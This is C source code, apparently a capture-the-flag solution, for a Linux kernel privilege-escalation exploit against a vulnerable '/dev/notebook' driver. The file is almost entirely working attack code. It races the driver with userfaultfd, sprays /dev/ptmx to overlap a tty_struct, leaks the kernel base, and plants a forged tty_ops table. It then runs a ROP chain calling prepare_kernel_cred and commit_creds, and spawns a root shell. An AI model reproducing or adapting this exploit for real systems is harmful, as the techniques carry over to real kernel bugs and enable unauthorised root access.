1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306
| #include <stdio.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #include <fcntl.h> #include <sys/mman.h> #include <errno.h> #include <signal.h> #include <sys/syscall.h> #include <stdint.h> #include <sys/prctl.h> #include <linux/userfaultfd.h> #include <poll.h> #include <assert.h> #include "include/head.h" #define PAGE_SIZE 1024 typedef uint64_t u64; typedef uint32_t u32;
void uffd_register(); void *UFFD_handler(void *nil); int uffd, note_fd; uint64_t mod_base_addr, cookie ,kernel_base_addr; uint64_t fault_page, fault_page_len; uint64_t target, modprobe_path;
#define errExit(msg) { \ perror(msg); \ exit(1); \ }
typedef struct{ uint64_t idx; uint64_t size; uint64_t buf; }userarg; #define MAX_ELEM 0x100 enum{ SWAPGS_POP_RET, IRETQ, COMMIT_CREDS, PREPARE_KERNEL_CRED, SUB_RSP_RET ,PUSH_RDI_POP_RSP_POP_RET, POP_RDI ,POP_RSP, MOV_RDI_RAX_POP_RET, TERMINATOR }; u64 a[MAX_ELEM];
#define TTY_STRUCT_SIZE 0x2E0
#define REAL_HEAP_SIZE 0x400 #define RAW_KERNEL_BASE 0xffffffff81000000 int protect1[0x1000]; int ptmx_fds[0x100]; int protect2[0x1000]; void init(){ a[SWAPGS_POP_RET] = 0xffffffff810637d4; a[IRETQ] = 0xffffffff810338bb; a[COMMIT_CREDS] = 0xffffffff810a9b40; a[PREPARE_KERNEL_CRED] = 0xffffffff810a9ef0; a[SUB_RSP_RET] = 0xffffffff8100354f; a[PUSH_RDI_POP_RSP_POP_RET] = 0xffffffff8143f4e1; a[POP_RDI] = 0xffffffff81007115; a[POP_RSP] = 0xffffffff810bc110; a[MOV_RDI_RAX_POP_RET] = 0xffffffff81045833; } void addKernelBase(){ for(int i = 0; i < TERMINATOR ;i++){ a[i] += kernel_base_addr - 0xffffffff81000000; } } void getshell(){ Info("UID is %d", getuid()); if(getuid() == 0){ Done("Get shell"); system("/bin/sh"); }else{ Panic("Get shell failed"); } } u64 user_cs, user_ss, user_sp, user_flags; void saveState(){ __asm__ ( "mov %cs, user_cs;" "mov %ss, user_ss;" "mov %rsp, user_sp;" "pushf;" "pop user_flags;" ); Done("saveState"); } void getRoot() { void *(*pkc)(int) = (void *(*)(int))(a[PREPARE_KERNEL_CRED]); void (*cc)(void *) = (void (*)(void *))(a[COMMIT_CREDS]); (*cc)((*pkc)(NULL)); }
void add(size_t idx, size_t size, void *buf){ userarg arg; arg.idx = (uint64_t)idx; arg.size = (uint64_t)size; arg.buf = (uint64_t)buf; ioctl(note_fd, 0x100 ,&arg); } void del(size_t idx){ userarg arg; arg.idx = (uint64_t)idx; ioctl(note_fd, 0x200 ,&arg); } void edit(size_t idx, size_t newsize, char *buf){ userarg arg; arg.idx = (uint64_t)idx; arg.size = (uint64_t)newsize; arg.buf = (uint64_t)buf; ioctl(note_fd, 0x300, &arg); } void gift(char *buf){ userarg arg; arg.buf = (uint64_t)buf; ioctl(note_fd, 100, &arg); } void write_to_kernel(size_t idx, char *user_buf){ write(note_fd, user_buf, idx); } void read_from_kernel(size_t idx, char *user_buf){ read(note_fd, user_buf, idx); } char *buf;
typedef struct{ void *buf; u64 size; }notebook;
notebook ntbk[10]; uint64_t heap[2]; uint64_t notebook_addr; u64 fake_tty_struct[128]; u64 fake_tty_ops[128]; char zero[PAGE_SIZE] = {0}; int main(){ init(); saveState();
note_fd = open("/dev/notebook", O_RDWR); Info("note_fd is %d",note_fd); if(note_fd < 0) errExit("open");
buf = calloc(1, 0x100);
FILE * stream = popen("cat /tmp/moduleaddr | awk '{print $6}'", "r"); assert(stream != NULL); fread(buf, 0x10 + 2, 1 ,stream); mod_base_addr = strtoul(buf, NULL, 16); Info("moduleaddr is %lx", mod_base_addr);
fault_page = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); fault_page_len = 0x1000; uffd_register();
add(0 ,0x60 ,zero); edit(0 ,0x3ff ,zero); edit(0 ,0x400 ,fault_page);
getchar(); for(int i = 0; i < 0x30; i++){ Info("ptmx_fds[%d] is %d", i, ptmx_fds[i]); ptmx_fds[i] = open("/dev/ptmx", O_RDWR|O_NOCTTY); } read_from_kernel(0, fake_tty_struct); Info("fake_tty_struct's addr is 0x%lx", fake_tty_struct); kernel_base_addr = fake_tty_struct[3] - 0xe8e440; Info("kernel base addr is 0x%lx", kernel_base_addr); addKernelBase(); add(1, 0x60, zero); edit(1, 0x100, zero); add(2, 0x60, zero);
gift(ntbk); u64 tty_ops_addr = ntbk[2].buf; u64 rop_addr = ntbk[1].buf; Info("rop's addr is 0x%lx", rop_addr); Info("tty_ops_addr's addr is 0x%lx", tty_ops_addr);
fake_tty_struct[3] = tty_ops_addr;
fake_tty_struct[1] = a[SUB_RSP_RET]; fake_tty_struct[0x14] = a[POP_RSP]; fake_tty_struct[0x15] = rop_addr; Info("write_to_kernel(0, fake_tty_struct);"); write_to_kernel(0, fake_tty_struct);
fake_tty_ops[7] = a[PUSH_RDI_POP_RSP_POP_RET];
int i = 0; u64 ROP[0x20]; ROP[i++] = a[POP_RDI]; ROP[i++] = 0; ROP[i++] = a[PREPARE_KERNEL_CRED]; ROP[i++] = a[MOV_RDI_RAX_POP_RET]; ROP[i++] = 0; ROP[i++] = a[COMMIT_CREDS]; ROP[i++] = a[SWAPGS_POP_RET]; ROP[i++] = 0; ROP[i++] = a[IRETQ]; ROP[i++] = (u64)getshell; ROP[i++] = user_cs; ROP[i++] = user_flags; ROP[i++] = user_sp; ROP[i++] = user_ss; Info("write_to_kernel(1, ROP)"); write_to_kernel(1, ROP); Info("write_to_kernel(2, fake_tty_ops)"); write_to_kernel(2, fake_tty_ops);
char tmp[] = "squsqusqusqu"; Info("Spray write ptmx start"); for(int i = 0; i < 0x30; i++){ write(ptmx_fds[i], tmp, 0x10); } Done("exploit"); exit(0); }
void uffd_register(){ struct uffdio_api ua; struct uffdio_register ur; uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); Dbg("uffd: %d", uffd);
ua.api = UFFD_API; ua.features = 0; if(ioctl(uffd, UFFDIO_API, &ua) == -1) errExit("ioctl(uffd,UFFDIO_API,ua)");
ur.range.start = (long long unsigned int)fault_page; ur.range.len = fault_page_len; ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) errExit("ioctl(uffd,UFFDIO_REGISTER,&ur)");
pthread_t thr; if(pthread_create(&thr, NULL, UFFD_handler ,NULL)) errExit("pthread_create"); Done("regitser"); }
void *UFFD_handler(void *nil){ Dbg("UFFD handler start"); struct uffd_msg msg;
while (1) { struct pollfd pollfd; int nready = 0; pollfd.fd = uffd; pollfd.events = POLLIN ; nready = poll(&pollfd, 1, -1); if(nready != 1) errExit("poll"); { edit(0, 0x500, zero); edit(0, 0x400, zero); }
if(read(uffd, &msg, sizeof(msg)) != sizeof(msg)) errExit("read"); assert(msg.event == UFFD_EVENT_PAGEFAULT);
struct uffdio_copy uc; uc.src = (unsigned long)zero; uc.dst = (unsigned long)fault_page; uc.len = fault_page_len; uc.mode = 0; ioctl(uffd, UFFDIO_COPY, &uc); Done("ioctl done"); } return NULL; }
|